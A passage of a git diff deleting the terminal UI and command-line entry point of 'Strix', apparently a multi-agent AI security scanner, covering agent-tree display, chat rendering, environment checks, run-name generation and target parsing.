selected_agent_id: reactive[str | None] = reactive(default=None) - show_splash: reactive[bool] = reactive(default=True) - - BINDINGS: ClassVar[list[Binding]] = [ - Binding("f1", "toggle_help", "Help", priority=True), - Binding("ctrl+q", "request_quit", "Quit", priority=True), - Binding("ctrl+c", "request_quit", "Quit", priority=True), - Binding("escape", "stop_selected_agent", "Stop Agent", priority=True), - ] - - def __init__(self, args: argparse.Namespace): - super().__init__() - self.args = args - self.scan_config = self._build_scan_config(args) - self.agent_config = self._build_agent_config(args) - - self.tracer = Tracer(self.scan_config["run_name"]) - self.tracer.set_scan_config(self.scan_config) - set_global_tracer(self.tracer) - - self.agent_nodes: dict[str, TreeNode] = {} - - self._displayed_agents: set[str] = set() - self._displayed_events: list[str] = [] - - self._scan_thread: threading.Thread | None = None - self._scan_stop_event = threading.Event() - self._scan_completed = threading.Event() - - self._action_verbs = [ - "Generating", - "Scanning", - "Analyzing", - "Probing", - "Hacking", - "Testing", - "Exploiting", - "Investigating", - ] - self._agent_verbs: dict[str, str] = {} # agent_id -> current_verb - self._agent_verb_timers: dict[str, Any] = {} # agent_id -> timer - self._agent_dot_states: dict[str, int] = {} # agent_id -> dot_count (0-3) - self._dot_animation_timer: Any | None = None - - self._setup_cleanup_handlers() - - def _build_scan_config(self, args: argparse.Namespace) -> dict[str, Any]: - return { - "scan_id": args.run_name, - "scan_type": args.target_type, - "target": args.target_dict, - "user_instructions": args.instruction or "", - "run_name": args.run_name, - } - - def _build_agent_config(self, args: argparse.Namespace) -> dict[str, Any]: - llm_config = LLMConfig() - - config = { - "llm_config": llm_config, - "max_iterations": 200, - } - - if args.target_type == "local_code" and "target_path" in args.target_dict: - config["local_source_path"] = args.target_dict["target_path"] - - return config - - def _setup_cleanup_handlers(self) -> None: - def cleanup_on_exit() -> None: - self.tracer.cleanup() - - def signal_handler(_signum: int, _frame: Any) -> None: - self.tracer.cleanup() - sys.exit(0) - - atexit.register(cleanup_on_exit) - signal.signal(signal.SIGINT, signal_handler) - signal.signal(signal.SIGTERM, signal_handler) - if hasattr(signal, "SIGHUP"): - signal.signal(signal.SIGHUP, signal_handler) - - def compose(self) -> ComposeResult: - if self.show_splash: - yield SplashScreen(id="splash_screen") - - def watch_show_splash(self, show_splash: bool) -> None: - if not show_splash and self.is_mounted: - try: - splash = self.query_one("#splash_screen") - splash.remove() - except ValueError: - pass - - main_container = Vertical(id="main_container") - - self.mount(main_container) - - content_container = Horizontal(id="content_container") - main_container.mount(content_container) - - chat_area_container = Vertical(id="chat_area_container") - - chat_display = Static("", id="chat_display") - chat_history = VerticalScroll(chat_display, id="chat_history") - chat_history.can_focus = True - - status_text = Static("", id="status_text") - keymap_indicator = Static("", id="keymap_indicator") - - agent_status_display = Horizontal( - status_text, keymap_indicator, id="agent_status_display", classes="hidden" - ) - - chat_prompt = Static("> ", id="chat_prompt") - chat_input = ChatTextArea( - "", - id="chat_input", - show_line_numbers=False, - ) - chat_input.set_app_reference(self) - chat_input_container = Horizontal(chat_prompt, chat_input, id="chat_input_container") - - agents_tree = Tree("🤖 Active Agents", id="agents_tree") - agents_tree.root.expand() - agents_tree.show_root = False - - agents_tree.show_guide = True - agents_tree.guide_depth = 3 - agents_tree.guide_style = "dashed" - - content_container.mount(chat_area_container) - content_container.mount(agents_tree) - - chat_area_container.mount(chat_history) - chat_area_container.mount(agent_status_display) - chat_area_container.mount(chat_input_container) - - self.call_after_refresh(self._focus_chat_input) - - def _focus_chat_input(self) -> None: - if len(self.screen_stack) > 1 or self.show_splash: - return - - if not self.is_mounted: - return - - try: - chat_input = self.query_one("#chat_input", ChatTextArea) - chat_input.show_vertical_scrollbar = False - chat_input.show_horizontal_scrollbar = False - chat_input.focus() - except (ValueError, Exception): - self.call_after_refresh(self._focus_chat_input) - - def _focus_agents_tree(self) -> None: - if len(self.screen_stack) > 1 or self.show_splash: - return - - if not self.is_mounted: - return - - try: - agents_tree = self.query_one("#agents_tree", Tree) - agents_tree.focus() - - if agents_tree.root.children: - first_node = agents_tree.root.children[0] - agents_tree.select_node(first_node) - except (ValueError, Exception): - self.call_after_refresh(self._focus_agents_tree) - - def on_mount(self) -> None: - self.title = "strix" - - self.set_timer(3.0, self._hide_splash_screen) - - def _hide_splash_screen(self) -> None: - self.show_splash = False - - self._start_scan_thread() - - self.set_interval(0.5, self._update_ui_from_tracer) - - def _update_ui_from_tracer(self) -> None: - if self.show_splash: - return - - if len(self.screen_stack) > 1: - return - - if not self.is_mounted: - return - - try: - chat_history = self.query_one("#chat_history", VerticalScroll) - agents_tree = self.query_one("#agents_tree", Tree) - - if not self._is_widget_safe(chat_history) or not self._is_widget_safe(agents_tree): - return - except (ValueError, Exception): - return - - agent_updates = False - for agent_id, agent_data in self.tracer.agents.items(): - if agent_id not in self._displayed_agents: - self._add_agent_node(agent_data) - self._displayed_agents.add(agent_id) - agent_updates = True - elif self._update_agent_node(agent_id, agent_data): - agent_updates = True - - if agent_updates: - self._expand_all_agent_nodes() - - self._update_chat_view() - - self._update_agent_status_display() - - def _update_agent_node(self, agent_id: str, agent_data: dict[str, Any]) -> bool: - if agent_id not in self.agent_nodes: - return False - - try: - agent_node = self.agent_nodes[agent_id] - agent_name_raw = agent_data.get("name", "Agent") - status = agent_data.get("status", "running") - - status_indicators = { - "running": "🟢", - "waiting": "⏸️", - "completed": "✅", - "failed": "❌", - "stopped": "⏹️", - "stopping": "⏸️", - } - - status_icon = status_indicators.get(status, "🔵") - agent_name = f"{status_icon} {escape_markup(agent_name_raw)}" - - if status == "running": - self._start_agent_verb_timer(agent_id) - elif status == "waiting": - self._stop_agent_verb_timer(agent_id) - else: - self._stop_agent_verb_timer(agent_id) - - if agent_node.label != agent_name: - agent_node.set_label(agent_name) - return True - - except (KeyError, AttributeError, ValueError) as e: - import logging - - logging.warning(f"Failed to update agent node label: {e}") - - return False - - def _update_chat_view(self) -> None: - if len(self.screen_stack) > 1 or self.show_splash: - return - - if not self.is_mounted: - return - - try: - chat_history = self.query_one("#chat_history", VerticalScroll) - except (ValueError, Exception): - return - - if not self._is_widget_safe(chat_history): - return - - try: - is_at_bottom = chat_history.scroll_y >= chat_history.max_scroll_y - except (AttributeError, ValueError): - is_at_bottom = True - - if not self.selected_agent_id: - content, css_class = self._get_chat_placeholder_content( - "Select an agent from the tree to see its activity.", "placeholder-no-agent" - ) - else: - events = self._gather_agent_events(self.selected_agent_id) - if not events: - content, css_class = self._get_chat_placeholder_content( - "Starting agent...", "placeholder-no-activity" - ) - else: - current_event_ids = [e["id"] for e in events] - if current_event_ids == self._displayed_events: - return - content = self._get_rendered_events_content(events) - css_class = "chat-content" - self._displayed_events = current_event_ids - - chat_display = self.query_one("#chat_display", Static) - chat_display.update(content) - - chat_display.set_classes(css_class) - - if is_at_bottom: - self.call_later(chat_history.scroll_end, animate=False) - - def _get_chat_placeholder_content( - self, message: str, placeholder_class: str - ) -> tuple[str, str]: - self._displayed_events = [placeholder_class] - return message, f"chat-placeholder {placeholder_class}" - - def _get_rendered_events_content(self, events: list[dict[str, Any]]) -> str: - if not events: - return "" - - content_lines = [] - for event in events: - if event["type"] == "chat": - chat_content = self._render_chat_content(event["data"]) - if chat_content: - content_lines.append(chat_content) - elif event["type"] == "tool": - tool_content = self._render_tool_content_simple(event["data"]) - if tool_content: - content_lines.append(tool_content) - - return "\n\n".join(content_lines) - - def _update_agent_status_display(self) -> None: - try: - status_display = self.query_one("#agent_status_display", Horizontal) - status_text = self.query_one("#status_text", Static) - keymap_indicator = self.query_one("#keymap_indicator", Static) - except (ValueError, Exception): - return - - widgets = [status_display, status_text, keymap_indicator] - if not all(self._is_widget_safe(w) for w in widgets): - return - - if not self.selected_agent_id: - self._safe_widget_operation(status_display.add_class, "hidden") - return - - try: - agent_data = self.tracer.agents[self.selected_agent_id] - status = agent_data.get("status", "running") - - if status == "stopping": - self._safe_widget_operation(status_text.update, "Agent stopping...") - self._safe_widget_operation(keymap_indicator.update, "") - self._safe_widget_operation(status_display.remove_class, "hidden") - elif status == "stopped": - self._safe_widget_operation(status_text.update, "Agent stopped") - self._safe_widget_operation(keymap_indicator.update, "") - self._safe_widget_operation(status_display.remove_class, "hidden") - elif status == "completed": - self._safe_widget_operation(status_text.update, "Agent completed") - self._safe_widget_operation(keymap_indicator.update, "") - self._safe_widget_operation(status_display.remove_class, "hidden") - elif status == "waiting": - animated_text = self._get_animated_waiting_text(self.selected_agent_id) - self._safe_widget_operation(status_text.update, animated_text) - self._safe_widget_operation( - keymap_indicator.update, "[dim]Send message to resume[/dim]" - ) - self._safe_widget_operation(status_display.remove_class, "hidden") - self._start_dot_animation() - elif status == "running": - current_verb = self._get_agent_verb(self.selected_agent_id) - animated_text = self._get_animated_verb_text(self.selected_agent_id, current_verb) - self._safe_widget_operation(status_text.update, animated_text) - self._safe_widget_operation(keymap_indicator.update, "[dim]ESC to stop agent[/dim]") - self._safe_widget_operation(status_display.remove_class, "hidden") - self._start_dot_animation() - else: - self._safe_widget_operation(status_display.add_class, "hidden") - - except (KeyError, Exception): - self._safe_widget_operation(status_display.add_class, "hidden") - - def _get_agent_verb(self, agent_id: str) -> str: - if agent_id not in self._agent_verbs: - self._agent_verbs[agent_id] = random.choice(self._action_verbs) # nosec B311 # noqa: S311 - return self._agent_verbs[agent_id] - - def _start_agent_verb_timer(self, agent_id: str) -> None: - if agent_id not in self._agent_verb_timers: - self._agent_verb_timers[agent_id] = self.set_interval( - 30.0, lambda: self._change_agent_action_verb(agent_id) - ) - - def _stop_agent_verb_timer(self, agent_id: str) -> None: - if agent_id in self._agent_verb_timers: - self._agent_verb_timers[agent_id].stop() - del self._agent_verb_timers[agent_id] - - def _change_agent_action_verb(self, agent_id: str) -> None: - if agent_id not in self._agent_verbs: - self._agent_verbs[agent_id] = random.choice(self._action_verbs) # nosec B311 # noqa: S311 - return - - current_verb = self._agent_verbs[agent_id] - available_verbs = [verb for verb in self._action_verbs if verb != current_verb] - self._agent_verbs[agent_id] = random.choice(available_verbs) # nosec B311 # noqa: S311 - - if self.selected_agent_id == agent_id: - self._update_agent_status_display() - - def _get_animated_verb_text(self, agent_id: str, verb: str) -> str: - if agent_id not in self._agent_dot_states: - self._agent_dot_states[agent_id] = 0 - - dot_count = self._agent_dot_states[agent_id] - dots = "." * dot_count - return f"{verb}{dots}" - - def _get_animated_waiting_text(self, agent_id: str) -> str: - if agent_id not in self._agent_dot_states: - self._agent_dot_states[agent_id] = 0 - - dot_count = self._agent_dot_states[agent_id] - dots = "." * dot_count - - return f"Waiting{dots}" - - def _start_dot_animation(self) -> None: - if self._dot_animation_timer is None: - self._dot_animation_timer = self.set_interval(0.6, self._animate_dots) - - def _stop_dot_animation(self) -> None: - if self._dot_animation_timer is not None: - self._dot_animation_timer.stop() - self._dot_animation_timer = None - - def _animate_dots(self) -> None: - has_active_agents = False - - for agent_id, agent_data in self.tracer.agents.items(): - status = agent_data.get("status", "running") - if status in ["running", "waiting"]: - has_active_agents = True - current_dots = self._agent_dot_states.get(agent_id, 0) - self._agent_dot_states[agent_id] = (current_dots + 1) % 4 - - if ( - has_active_agents - and self.selected_agent_id - and self.selected_agent_id in self.tracer.agents - ): - selected_status = self.tracer.agents[self.selected_agent_id].get("status", "running") - if selected_status in ["running", "waiting"]: - self._update_agent_status_display() - - if not has_active_agents: - self._stop_dot_animation() - for agent_id in list(self._agent_dot_states.keys()): - if agent_id not in self.tracer.agents or self.tracer.agents[agent_id].get( - "status" - ) not in ["running", "waiting"]: - del self._agent_dot_states[agent_id] - - def _gather_agent_events(self, agent_id: str) -> list[dict[str, Any]]: - chat_events = [ - { - "type": "chat", - "timestamp": msg["timestamp"], - "id": f"chat_{msg['message_id']}", - "data": msg, - } - for msg in self.tracer.chat_messages - if msg.get("agent_id") == agent_id - ] - - tool_events = [ - { - "type": "tool", - "timestamp": tool_data["timestamp"], - "id": f"tool_{exec_id}", - "data": tool_data, - } - for exec_id, tool_data in self.tracer.tool_executions.items() - if tool_data.get("agent_id") == agent_id - ] - - events = chat_events + tool_events - events.sort(key=lambda e: (e["timestamp"], e["id"])) - return events - - def watch_selected_agent_id(self, _agent_id: str | None) -> None: - if len(self.screen_stack) > 1 or self.show_splash: - return - - if not self.is_mounted: - return - - self._displayed_events.clear() - - self.call_later(self._update_chat_view) - self._update_agent_status_display() - - def _start_scan_thread(self) -> None: - def scan_target() -> None: - try: - loop = asyncio.new_event_loop() - asyncio.set_event_loop(loop) - - try: - agent = StrixAgent(self.agent_config) - - if not self._scan_stop_event.is_set(): - loop.run_until_complete(agent.execute_scan(self.scan_config)) - - except (KeyboardInterrupt, asyncio.CancelledError): - logging.info("Scan interrupted by user") - except (ConnectionError, TimeoutError): - logging.exception("Network error during scan") - except RuntimeError: - logging.exception("Runtime error during scan") - except Exception: - logging.exception("Unexpected error during scan") - finally: - loop.close() - self._scan_completed.set() - - except Exception: - logging.exception("Error setting up scan thread") - self._scan_completed.set() - - self._scan_thread = threading.Thread(target=scan_target, daemon=True) - self._scan_thread.start() - - def _add_agent_node(self, agent_data: dict[str, Any]) -> None: - if len(self.screen_stack) > 1 or self.show_splash: - return - - if not self.is_mounted: - return - - agent_id = agent_data["id"] - parent_id = agent_data.get("parent_id") - status = agent_data.get("status", "running") - - try: - agents_tree = self.query_one("#agents_tree", Tree) - except (ValueError, Exception): - return - - agent_name_raw = agent_data.get("name", "Agent") - - status_indicators = { - "running": "🟢", - "waiting": "🟡", - "completed": "✅", - "failed": "❌", - "stopped": "⏹️", - "stopping": "⏸️", - } - - status_icon = status_indicators.get(status, "🔵") - agent_name = f"{status_icon} {escape_markup(agent_name_raw)}" - - if status in ["running", "waiting"]: - self._start_agent_verb_timer(agent_id) - - try: - if parent_id and parent_id in self.agent_nodes: - parent_node = self.agent_nodes[parent_id] - agent_node = parent_node.add( - agent_name, - data={"agent_id": agent_id}, - ) - parent_node.allow_expand = True - else: - agent_node = agents_tree.root.add( - agent_name, - data={"agent_id": agent_id}, - ) - - agent_node.allow_expand = False - agent_node.expand() - self.agent_nodes[agent_id] = agent_node - - if len(self.agent_nodes) == 1: - agents_tree.select_node(agent_node) - self.selected_agent_id = agent_id - - self._reorganize_orphaned_agents(agent_id) - except (AttributeError, ValueError, RuntimeError) as e: - import logging - - logging.warning(f"Failed to add agent node {agent_id}: {e}") - - def _expand_all_agent_nodes(self) -> None: - if len(self.screen_stack) > 1 or self.show_splash: - return - - if not self.is_mounted: - return - - try: - agents_tree = self.query_one("#agents_tree", Tree) - self._expand_node_recursively(agents_tree.root) - except (ValueError, Exception): - logging.debug("Tree not ready for expanding nodes") - - def _expand_node_recursively(self, node: TreeNode) -> None: - if not node.is_expanded: - node.expand() - for child in node.children: - self._expand_node_recursively(child) - - def _copy_node_under(self, node_to_copy: TreeNode, new_parent: TreeNode) -> None: - agent_id = node_to_copy.data["agent_id"] - agent_data = self.tracer.agents.get(agent_id, {}) - agent_name_raw = agent_data.get("name", "Agent") - status = agent_data.get("status", "running") - - status_indicators = { - "running": "🟢", - "waiting": "🟡", - "completed": "✅", - "failed": "❌", - "stopped": "⏹️", - "stopping": "⏸️", - } - - status_icon = status_indicators.get(status, "🔵") - agent_name = f"{status_icon} {escape_markup(agent_name_raw)}" - - new_node = new_parent.add( - agent_name, - data=node_to_copy.data, - ) - new_node.allow_expand = node_to_copy.allow_expand - - self.agent_nodes[agent_id] = new_node - - for child in node_to_copy.children: - self._copy_node_under(child, new_node) - - if node_to_copy.is_expanded: - new_node.expand() - - def _reorganize_orphaned_agents(self, new_parent_id: str) -> None: - agents_to_move = [] - - for agent_id, agent_data in self.tracer.agents.items(): - if ( - agent_data.get("parent_id") == new_parent_id - and agent_id in self.agent_nodes - and agent_id != new_parent_id - ): - agents_to_move.append(agent_id) - - if not agents_to_move: - return - - parent_node = self.agent_nodes[new_parent_id] - - for child_agent_id in agents_to_move: - if child_agent_id in self.agent_nodes: - old_node = self.agent_nodes[child_agent_id] - - if old_node.parent is parent_node: - continue - - self._copy_node_under(old_node, parent_node) - - old_node.remove() - - parent_node.allow_expand = True - self._expand_all_agent_nodes() - - def _render_chat_content(self, msg_data: dict[str, Any]) -> str: - role = msg_data.get("role") - content = escape_markup(msg_data.get("content", "")) - - if not content: - return "" - - if role == "user": - from strix.cli.tool_components.user_message_renderer import UserMessageRenderer - - return UserMessageRenderer.render_simple(content) - return content - - def _render_tool_content_simple(self, tool_data: dict[str, Any]) -> str: - tool_name = tool_data.get("tool_name", "Unknown Tool") - args = tool_data.get("args", {}) - status = tool_data.get("status", "unknown") - result = tool_data.get("result") - - tool_colors = { - "terminal_action": "#22c55e", - "browser_action": "#06b6d4", - "python_action": "#3b82f6", - "agents_graph_action": "#fbbf24", - "file_edit_action": "#10b981", - "proxy_action": "#06b6d4", - "notes_action": "#fbbf24", - "thinking_action": "#a855f7", - "web_search_action": "#22c55e", - "finish_action": "#dc2626", - "reporting_action": "#ea580c", - "scan_start_info": "#22c55e", - "subagent_start_info": "#22c55e", - } - - color = tool_colors.get(tool_name, "#737373") - - from strix.cli.tool_components.registry import get_tool_renderer - - renderer = get_tool_renderer(tool_name) - - if renderer: - widget = renderer.render(tool_data) - content = str(widget.renderable) - else: - status_icons = { - "running": "[yellow]●[/yellow]", - "completed": "[green]✓[/green]", - "failed": "[red]✗[/red]", - "error": "[red]✗[/red]", - } - status_icon = status_icons.get(status, "[dim]○[/dim]") - - lines = [f"→ Using tool [bold blue]{escape_markup(tool_name)}[/] {status_icon}"] - - if args: - for k, v in list(args.items())[:2]: - str_v = str(v) - if len(str_v) > 80: - str_v = str_v[:77] + "..." - lines.append(f" [dim]{k}:[/] {escape_markup(str_v)}") - - if status in ["completed", "failed", "error"] and result: - result_str = str(result) - if len(result_str) > 150: - result_str = result_str[:147] + "..." - lines.append(f"[bold]Result:[/] {escape_markup(result_str)}") - - content = "\n".join(lines) - - lines = content.split("\n") - bordered_lines = [f"[{color}]▍[/{color}] {line}" for line in lines] - return "\n".join(bordered_lines) - - @on(Tree.NodeHighlighted) # type: ignore[misc] - def handle_tree_highlight(self, event: Tree.NodeHighlighted) -> None: - if len(self.screen_stack) > 1 or self.show_splash: - return - - if not self.is_mounted: - return - - node = event.node - - try: - agents_tree = self.query_one("#agents_tree", Tree) - except (ValueError, Exception): - return - - if self.focused == agents_tree and node.data: - agent_id = node.data.get("agent_id") - if agent_id: - self.selected_agent_id = agent_id - - def _send_user_message(self, message: str) -> None: - if not self.selected_agent_id: - return - - if self.tracer: - self.tracer.log_chat_message( - content=message, - role="user", - agent_id=self.selected_agent_id, - ) - - try: - from strix.tools.agents_graph.agents_graph_actions import send_user_message_to_agent - - send_user_message_to_agent(self.selected_agent_id, message) - - except (ImportError, AttributeError) as e: - import logging - - logging.warning(f"Failed to send message to agent {self.selected_agent_id}: {e}") - - self._displayed_events.clear() - self._update_chat_view() - - self.call_after_refresh(self._focus_chat_input) - - def _get_agent_name(self, agent_id: str) -> str: - try: - if self.tracer and agent_id in self.tracer.agents: - agent_name = self.tracer.agents[agent_id].get("name") - if isinstance(agent_name, str): - return agent_name - except (KeyError, AttributeError) as e: - logging.warning(f"Could not retrieve agent name for {agent_id}: {e}") - return "Unknown Agent" - - def action_toggle_help(self) -> None: - if self.show_splash or not self.is_mounted: - return - - try: - self.query_one("#main_container") - except (ValueError, Exception): - return - - if isinstance(self.screen, HelpScreen): - self.pop_screen() - return - - if len(self.screen_stack) > 1: - return - - self.push_screen(HelpScreen()) - - def action_request_quit(self) -> None: - if self.show_splash or not self.is_mounted: - self.action_custom_quit() - return - - if len(self.screen_stack) > 1: - return - - try: - self.query_one("#main_container") - except (ValueError, Exception): - self.action_custom_quit() - return - - self.push_screen(QuitScreen()) - - def action_stop_selected_agent(self) -> None: - if ( - self.show_splash - or not self.is_mounted - or len(self.screen_stack) > 1 - or not self.selected_agent_id - ): - return - - agent_name, should_stop = self._validate_agent_for_stopping() - if not should_stop: - return - - try: - self.query_one("#main_container") - except (ValueError, Exception): - return - - self.push_screen(StopAgentScreen(agent_name, self.selected_agent_id)) - - def _validate_agent_for_stopping(self) -> tuple[str, bool]: - agent_name = "Unknown Agent" - - try: - if self.tracer and self.selected_agent_id in self.tracer.agents: - agent_data = self.tracer.agents[self.selected_agent_id] - agent_name = agent_data.get("name", "Unknown Agent") - - agent_status = agent_data.get("status", "running") - if agent_status not in ["running"]: - return agent_name, False - - agent_events = self._gather_agent_events(self.selected_agent_id) - if not agent_events: - return agent_name, False - - return agent_name, True - - except (KeyError, AttributeError, ValueError) as e: - import logging - - logging.warning(f"Failed to gather agent events: {e}") - - return agent_name, False - - def action_confirm_stop_agent(self, agent_id: str) -> None: - self.pop_screen() - - try: - from strix.tools.agents_graph.agents_graph_actions import stop_agent - - result = stop_agent(agent_id) - - import logging - - if result.get("success"): - logging.info(f"Stop request sent to agent: {result.get('message', 'Unknown')}") - else: - logging.warning(f"Failed to stop agent: {result.get('error', 'Unknown error')}") - - except Exception: - import logging - - logging.exception(f"Failed to stop agent {agent_id}") - - def action_custom_quit(self) -> None: - for agent_id in list(self._agent_verb_timers.keys()): - self._stop_agent_verb_timer(agent_id) - - if self._scan_thread and self._scan_thread.is_alive(): - self._scan_stop_event.set() - - self._scan_thread.join(timeout=1.0) - - self.tracer.cleanup() - - self.exit() - - def _is_widget_safe(self, widget: Any) -> bool: - try: - _ = widget.screen - except (AttributeError, ValueError, Exception): - return False - else: - return bool(widget.is_mounted) - - def _safe_widget_operation( - self, operation: Callable[..., Any], *args: Any, **kwargs: Any - ) -> bool: - try: - operation(*args, **kwargs) - except (AttributeError, ValueError, Exception): - return False - else: - return True - - -async def run_strix_cli(args: argparse.Namespace) -> None: - app = StrixCLIApp(args) - await app.run_async() diff --git a/strix/cli/main.py b/strix/cli/main.py deleted file mode 100644 index 3798bea8f..000000000 --- a/strix/cli/main.py +++ /dev/null @@ -1,564 +0,0 @@ -#!/usr/bin/env python3 -""" -Strix Agent Command Line Interface -""" - -import argparse -import asyncio -import logging -import os -import secrets -import sys -from pathlib import Path -from typing import Any -from urllib.parse import urlparse -import shutil - -import docker -import litellm -from docker.errors import DockerException -from rich.console import Console -from rich.panel import Panel -from rich.text import Text - -from strix.cli.app import run_strix_cli -from strix.cli.tracer import get_global_tracer -from strix.runtime.docker_runtime import STRIX_IMAGE - - -logging.getLogger().setLevel(logging.ERROR) - - -def format_token_count(count: float) -> str: - count = int(count) - if count >= 1_000_000: - return f"{count / 1_000_000:.1f}M" - if count >= 1_000: - return f"{count / 1_000:.1f}K" - return str(count) - - -def validate_environment() -> None: - console = Console() - missing_required_vars = [] - missing_optional_vars = [] - - if not os.getenv("STRIX_LLM"): - missing_required_vars.append("STRIX_LLM") - - if not os.getenv("LLM_API_KEY"): - missing_required_vars.append("LLM_API_KEY") - - if not os.getenv("PERPLEXITY_API_KEY"): - missing_optional_vars.append("PERPLEXITY_API_KEY") - - if missing_required_vars: - error_text = Text() - error_text.append("❌ ", style="bold red") - error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red") - error_text.append("\n\n", style="white") - - for var in missing_required_vars: - error_text.append(f"• {var}", style="bold yellow") - error_text.append(" is not set\n", style="white") - - if missing_optional_vars: - error_text.append( - "\nOptional (but recommended) environment variables:\n", style="dim white" - ) - for var in missing_optional_vars: - error_text.append(f"• {var}", style="dim yellow") - error_text.append(" is not set\n", style="dim white") - - error_text.append("\nRequired environment variables:\n", style="white") - error_text.append("• ", style="white") - error_text.append("STRIX_LLM", style="bold cyan") - error_text.append( - " - Model name to use with litellm (e.g., 'anthropic/claude-opus-4-1-20250805')\n", - style="white", - ) - error_text.append("• ", style="white") - error_text.append("LLM_API_KEY", style="bold cyan") - error_text.append(" - API key for the LLM provider\n", style="white") - - if missing_optional_vars: - error_text.append("\nOptional environment variables:\n", style="white") - error_text.append("• ", style="white") - error_text.append("PERPLEXITY_API_KEY", style="bold cyan") - error_text.append( - " - API key for Perplexity AI web search (enables real-time research)\n", - style="white", - ) - - error_text.append("\nExample setup:\n", style="white") - error_text.append( - "export STRIX_LLM='anthropic/claude-opus-4-1-20250805'\n", style="dim white" - ) - error_text.append("export LLM_API_KEY='your-api-key-here'\n", style="dim white") - if missing_optional_vars: - error_text.append( - "export PERPLEXITY_API_KEY='your-perplexity-key-here'", style="dim white" - ) - - panel = Panel( - error_text, - title="[bold red]🛡️ STRIX CONFIGURATION ERROR", - title_align="center", - border_style="red", - padding=(1, 2), - ) - - console.print("\n") - console.print(panel) - console.print() - sys.exit(1) - - -def _validate_llm_response(response: Any) -> None: - if not response or not response.choices or not response.choices[0].message.content: - raise RuntimeError("Invalid response from LLM") - - -def check_docker_installed() -> None: - if shutil.which("docker") is None: - console = Console() - error_text = Text() - error_text.append("❌ ", style="bold red") - error_text.append("DOCKER NOT INSTALLED", style="bold red") - error_text.append("\n\n", style="white") - error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white") - error_text.append("Please install Docker and ensure the 'docker' command is available.\n\n", style="white") - - panel = Panel( - error_text, - title="[bold red]🛡️ STRIX STARTUP ERROR", - title_align="center", - border_style="red", - padding=(1, 2), - ) - console.print("\n", panel, "\n") - sys.exit(1) - - -async def warm_up_llm() -> None: - console = Console() - - try: - model_name = os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805") - api_key = os.getenv("LLM_API_KEY") - - if api_key: - litellm.api_key = api_key - - test_messages = [ - {"role": "system", "content": "You are a helpful assistant."}, - {"role": "user", "content": "Reply with just 'OK'."}, - ] - - response = litellm.completion( - model=model_name, - messages=test_messages, - ) - - _validate_llm_response(response) - - except Exception as e: # noqa: BLE001 - error_text = Text() - error_text.append("❌ ", style="bold red") - error_text.append("LLM CONNECTION FAILED", style="bold red") - error_text.append("\n\n", style="white") - error_text.append("Could not establish connection to the language model.\n", style="white") - error_text.append("Please check your configuration and try again.\n", style="white") - error_text.append(f"\nError: {e}", style="dim white") - - panel = Panel( - error_text, - title="[bold red]🛡️ STRIX STARTUP ERROR", - title_align="center", - border_style="red", - padding=(1, 2), - ) - - console.print("\n") - console.print(panel) - console.print() - sys.exit(1) - - -def generate_run_name() -> str: - # fmt: off - adjectives = [ - "stealthy", "sneaky", "crafty", "elite", "phantom", "shadow", "silent", - "rogue", "covert", "ninja", "ghost", "cyber", "digital", "binary", - "encrypted", "obfuscated", "masked", "cloaked", "invisible", "anonymous" - ] - nouns = [ - "exploit", "payload", "backdoor", "rootkit", "keylogger", "botnet", "trojan", - "worm", "virus", "packet", "buffer", "shell", "daemon", "spider", "crawler", - "scanner", "sniffer", "honeypot", "firewall", "breach" - ] - # fmt: on - adj = secrets.choice(adjectives) - noun = secrets.choice(nouns) - number = secrets.randbelow(900) + 100 - return f"{adj}-{noun}-{number}" - - -def infer_target_type(target: str) -> tuple[str, dict[str, str]]: - if not target or not isinstance(target, str): - raise ValueError("Target must be a non-empty string") - - target = target.strip() - - parsed = urlparse(target) - if parsed.scheme in ("http", "https"): - if any( - host in parsed.netloc.lower() for host in ["github.com", "gitlab.com", "bitbucket.org"] - ): - return "repository", {"target_repo": target} - return "web_application", {"target_url": target} - - path = Path(target) - try: - if path.exists(): - if path.is_dir(): - return "local_code", {"target_path": str(path.absolute())} - raise ValueError(f"Path exists but is not a directory: {target}") - except (OSError, RuntimeError) as e: - raise ValueError(f"Invalid path: {target} - {e!s}") from e - - if target.startswith("git@") or target.endswith(".git"): - return "repository", {"target_repo": target} - - if "." in target and "/" not in target and not target.startswith("."): - parts = target.split(".") - if len(parts) >= 2 and all(p and p.strip() for p in parts): - return "web_application", {"target_url": f"https://{target}"} - - raise ValueError( - f"Invalid target: {target}\n" - "Target must be one of:\n" - "- A valid URL (http:// or https://)\n" - "- A Git repository URL (https://github.com/... or git@github.com:...)\n" - "- A local directory path\n" - "- A domain name (e.g., example.com)" - ) - - -def parse_arguments() -> argparse.Namespace: - parser = argparse.ArgumentParser( - description="Strix Multi-Agent Cybersecurity Scanner", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -Examples: - # Web application scan - strix --target https://example.com - - # GitHub repository analysis - strix --target https://github.com/user/repo - strix --target git@github.com:user/repo.git - - # Local code analysis - strix --target ./my-project - - # Domain scan - strix --target example.com - - # Custom instructions - strix --target example.com --instruction "Focus on authentication vulnerabilities" - """, - ) - - parser.add_argument( - "--target", - type=str, - required=True, - help="Target to scan (URL, repository, local directory path, or domain name)", - ) - parser.add_argument( - "--instruction", - type=str, - help="Custom instructions for the scan. This can be " - "specific vulnerability types to focus on (e.g., 'Focus on IDOR and XSS'), " - "testing approaches (e.g., 'Perform thorough authentication testing'), " - "test credentials (e.g., 'Use the following credentials to access the app: " - "admin:password123'), " - "or areas of interest (e.g., 'Check login API endpoint for security issues')", - ) - - parser.add_argument( - "--run-name", - type=str, - help="Custom name for this scan run", - ) - - args = parser.parse_args() - - try: - args.target_type, args.target_dict = infer_target_type(args.target) - except ValueError as e: - parser.error(str(e)) - - return args - - -def _build_stats_text(tracer: Any) -> Text: - stats_text = Text() - if not tracer: - return stats_text - - vuln_count = len(tracer.vulnerability_reports) - tool_count = tracer.get_real_tool_count() - agent_count = len(tracer.agents) - - if vuln_count > 0: - stats_text.append("🔍 Vulnerabilities Found: ", style="bold red") - stats_text.append(str(vuln_count), style="bold yellow") - stats_text.append(" • ", style="dim white") - - stats_text.append("🤖 Agents Used: ", style="bold cyan") - stats_text.append(str(agent_count), style="bold white") - stats_text.append(" • ", style="dim white") - stats_text.append("🛠️ Tools Called: ", style="bold cyan") - stats_text.append(str(tool_count), style="bold white") - - return stats_text - - -def _build_llm_stats_text(tracer: Any) -> Text: - llm_stats_text = Text() - if not tracer: - return llm_stats_text - - llm_stats = tracer.get_total_llm_stats() - total_stats = 